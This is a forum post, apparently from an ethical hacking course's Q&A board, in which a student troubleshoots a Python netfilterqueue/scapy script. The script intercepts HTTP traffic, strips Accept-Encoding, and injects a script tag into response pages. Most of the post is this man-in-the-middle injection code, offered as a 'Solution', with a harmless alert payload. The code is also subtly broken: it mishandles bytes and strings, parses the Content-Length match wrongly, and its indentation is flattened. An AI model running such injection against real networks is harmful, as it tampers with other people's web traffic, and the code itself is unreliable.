@Zaid Issue with re.sub in Learn Python & Ethical Hacking From Scratch course

Hi Zaid I am having problems with re.sub.I followed your course to the letter but I fail to make it run. Of course I worked only with http pages. As you know those ones are hard to come by these days. Also I have installed netfilterqueue with pip and directly in the pycharm. I have tried to convert to bytes but am not able to make it work. If I do it in Python 2.7 I get an import error for the netfilterqueue and if I do it in python 3.7 I get the bellow message
Any idea?
Thanks
Regards

Exception ignored in: ‘netfilterqueue.global_callback’ Traceback (most recent call last): File “code_injector.py”, line 22, in process_packet load = re.sub(“Accept-Encoding:.*?\r\n”, “”, load) File “/usr/lib/python3.6/re.py”, line 191, in sub return _compile(pattern, flags).sub(repl, string, count) TypeError: cannot use a string pattern on a bytes-like object

I used the bytes solution and .encode() and now do not get any errors on strings but internet connection freezes when using iptables Input / output. Everything fixes when I do iptables -flush.

Solution:
!/usr/bin/env python

import netfilterqueue
import scapy.all as scapy
import re
import sys

if sys.version_info < (3,):
def b(x):
return x
else:
import codecs

def b(x):
    return codecs.utf_8_encode(x)[0]

def set_load(packet,load):
packet[scapy.Raw].load = load
del packet[scapy.IP].len
del packet[scapy.IP].chksum
del packet[scapy.TCP].chksum
return packet

def process_packet(packet):
scapy_packet = scapy.IP(packet.get_payload())
if scapy_packet.haslayer(scapy.Raw):
load = scapy_packet[scapy.Raw].load
if scapy_packet[scapy.TCP].dport == 80:
print(“Request”)
#print(scapy_packet.show())
load = re.sub(“Accept-Encoding:.*?\r\n”.encode(), “”.encode(), load)

    elif scapy_packet[scapy.TCP].sport == 80:
        print("Response")
        injection_code = b("<script>alert('test');</script>")
        load = load.replace(b("</body>"), injection_code + b("</body>"))
        content_length_search = re.search("(?:Content-Length:\s)(\d*)".encode(), load)
        if content_length_search and "text/html" in load:
            content_length = content_length_search.group(0)
            new_content_length = int(content_length) + len(injection_code)
            load = load.replace(content_length, str(new_content_length))



    if load != scapy_packet[scapy.Raw].load:
        new_packet = set_load(scapy_packet, load)
        packet.set_payload(b(str(new_packet)))


packet.accept()

queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
queue.run()

Are you running the code in python2 or python3? I have a similar code and works great in python 2!